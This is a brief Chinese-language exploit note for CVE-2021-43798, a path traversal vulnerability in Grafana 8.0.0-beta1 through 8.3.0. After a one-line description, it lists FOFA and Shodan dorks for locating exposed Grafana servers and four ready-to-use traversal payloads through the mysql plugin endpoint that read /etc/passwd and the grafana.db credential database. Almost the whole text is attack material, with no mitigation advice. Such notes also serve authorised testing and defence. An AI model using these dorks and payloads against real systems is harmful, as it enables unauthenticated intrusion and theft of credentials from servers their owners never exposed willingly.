CVE-2021-43798 是一个高严重性的路径遍历漏洞（CVSS 3.1 评分：7.5），影响 Grafana 8.0.0-beta1 至 8.3.0 版本。它允许未经身份验证的攻击者通过利用 /public/plugins/:pluginId 端点的输入清理不当，读取服务器上的任意文件。
dork :
fofa : title="Grafana" && port="3000" shodan : http.title:"Grafana" port:3000
payload :
/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd /public/plugins/mysql/../../../../../../../../../../../../etc/passwd /public/plugins/mysql/../../../../../../../../../../../../var/lib/grafana/grafana.db /public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db
